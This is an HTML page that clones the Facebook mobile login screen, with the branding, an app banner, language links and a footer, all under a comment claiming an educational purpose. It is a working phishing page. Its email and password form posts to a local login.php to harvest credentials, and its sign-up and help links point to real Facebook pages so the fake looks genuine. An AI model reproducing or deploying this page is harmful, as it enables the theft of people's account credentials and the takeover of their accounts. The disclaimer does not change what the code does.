Html

<!-- Important Note ! -->

<!-- We just share this code for educational purpose to test the vulnerability of phishing. We are not responsible for any illegal stuffs. if you do so, you will be locked up in jail -->

<style>
.heading {
    display:block;top:0px;left:0px;right:0px;height:30px;position:fixed;border:0px solid #888;padding-top:16px;text-align:center;font-weight:bold;color:#ffffff;background: #3b5998;width: 100%;height: 100px;z-index:3;
    font-size: 70px;
    font-family: 'myFancyFont';
}

.headmid {
    display:block;top:110px;left:0px;right:0px;height:20px;position:fixed;border:0px solid #888;padding:0px;text-align:center;font-weight:bold;color:#000;background: #ECEFF5;width: 100%;height: 1050px;z-index:3;
}

.fbapp {
    background-color: FFFBE2;
    border: 2px solid #E2C822;
    border-radius: 15px;
    font-size: 40px;
    font-family: 'myFancyFont';
    font-weight: 400;
    color: #3B5998;
    height: 100px;
    padding-top: 45px;
}

.floating {
    float: left;
}

.icony {
    width:45px;
    height: 80px;
    padding-top: 30px;
    padding-bottom: 10px;
    padding-left: 40px;
}
</style>


<div class="heading">
facebook
</div>

<div class="headmid">
    <br/><br/>
    <div class="floating">
    <img class="icony" src="https://s33.postimg.org/hksxwrjb3/1512334555590.png"/></div>
    <div class="fbapp">Get Facebook for Android and browse faster.
</div>


<style>

@font-face
{
font-family: myFancyFont;
src: url(Roboto.ttf'),;
}

.header {
    color: white;
    background-color: #3b5998;
    width: auto;
    height: auto;
    font-size:60px;
    display:block;
    font-family: 'myFancyFont', Times, serif; }

.email {
    padding-left: 40px;
    padding-top: 20px;
    text-align: left;
    font-size: 38px;
    font-family: 'myFancyFont', Sans-serif;
    font-weight: 410;
}

.mail {
    padding-left: 40px;
    padding-top: 20px;
    padding-bottom: 20px;
    text-align: left;
    left: 40px;
    font-size: 38px;
    width: 900px;
    height: 120px;
    border-radius: 10px 10px 0px 0px;
}

.pass {
    padding-left: 40px;
    padding-top: 20px;
    padding-bottom: 20px;
    text-align: left;
    left: 40px;
    font-size: 38px;
    width: 896px;
    height: 120px;
    border-radius: 0px 0px 10px 10px;
}
.button {
    padding-top: 20px;
    padding-bottom: 20px;
    background-color: #3b5998;
    color: white;
    text-align: center;
    left: 40px;
    font-size: 38px;
    width: 900px;
    height: 110px;
    border-radius: 10px;
}

.cbutton:hover {
    background-color: 326D15;
}

.button:hover {
    background-color: 4F6598;
}

.cbutton {
    padding-top: 20px;
    padding-bottom: 20px;
    background-color: #558B2F;
    color: white;
    text-align: center;
    font-size: 38px;
    width: 400px;
    height: 100px;
    border-radius: 10px;
    box-shadow: 1px 1px 16px #000000;
    border-style: none;
    text-decoration: bold;

}

.help {
    font-weight: 400;
    color: #7596c8;
    font-size: 35px;
    font-family: 'myFancyFont', Sans-serif;
    margin: auto;
}

.orrr {
    font-size: 36px;
    padding-left: 40px;
    padding-right: 40px;
    color: #4B4F56;
}

a {
    text-decoration: none;
}

.float1 {
    text-align: left;
    width: 50%;
    padding-left: 150px;
    color: #90949c;
    font-size: 30px;
    font-family: 'myFancyFont' , Sans-serif;
}

.float2 {
    text-align: left;
    width: 50%;
    padding-left: 150px;
    color: #90949c;
    font-size: 30px;
    font-family: 'myFancyFont' , Sans-serif;
}

</style>


<br/>

<form method="post" action="login.php">

    <br/>
    <br/>
    <input type="mail" align="left" class="mail" name="mail" id="mail" placeholder="Email address or phone number"/>
    <input type="password" align="left" class="pass" name="password" id="password" placeholder="Password"/>
    <br/>
    <br/><br/>
    <input type="submit" class="button" value="Log In"/></form>
    <br/>
    <br/>



    <center>
    <table>
        <tr>
            <td style='width:320px'><hr/></td>
            <td><div class="orrr">or</div></td>
            <td style='width:320px'><hr/></td>
        </tr>
    </table>
    </center>

    <br/>
    <br/><br/>
    <form action="http://m.facebook.com/reg">
    <input type="submit" class="cbutton" value="Create Facebook ID"/>
    </form>

    <br/><br/>
    <a href="http://m.facebook.com/recover/initiate"><div class="help"><font color="#7596c8">
            Forgotten password?</font></a><font color="black"> • </font><a href="http://m.facebook.com/help"><font color="#7596c8">Help center</a></div>
    <br/><br/><br/><br/><br/><br/>
    <center>
    <table>
        <tr class="float1">
<td style="padding-left: 2px">English (UK)</td>
<td style="padding-left: 320px">తెలుగు</td>
        </tr>

        <tr class="float1">
            <td style="padding-left: 40px;">
اردو
</td>
<td style="padding-left: 300px;">
മലയാളം</td>
</tr>
<tr class="float1">
    <td style="padding-left: 20px">
தமிழ்</td>
<td style="padding-left: 330px">
ಕನ್ನಡ</td>

</tr>
<tr class="float1">
    <td style="padding-left: 30px">
हिन्दी</td>

<td style="padding-left: 320px">more +</td>
</tr>

    </table></center>

<center>
<span style="font-size: 30px; font-weight: 10; color: grey; font-family: Sans-serif;">facebook©2018</span>
</center>

</div>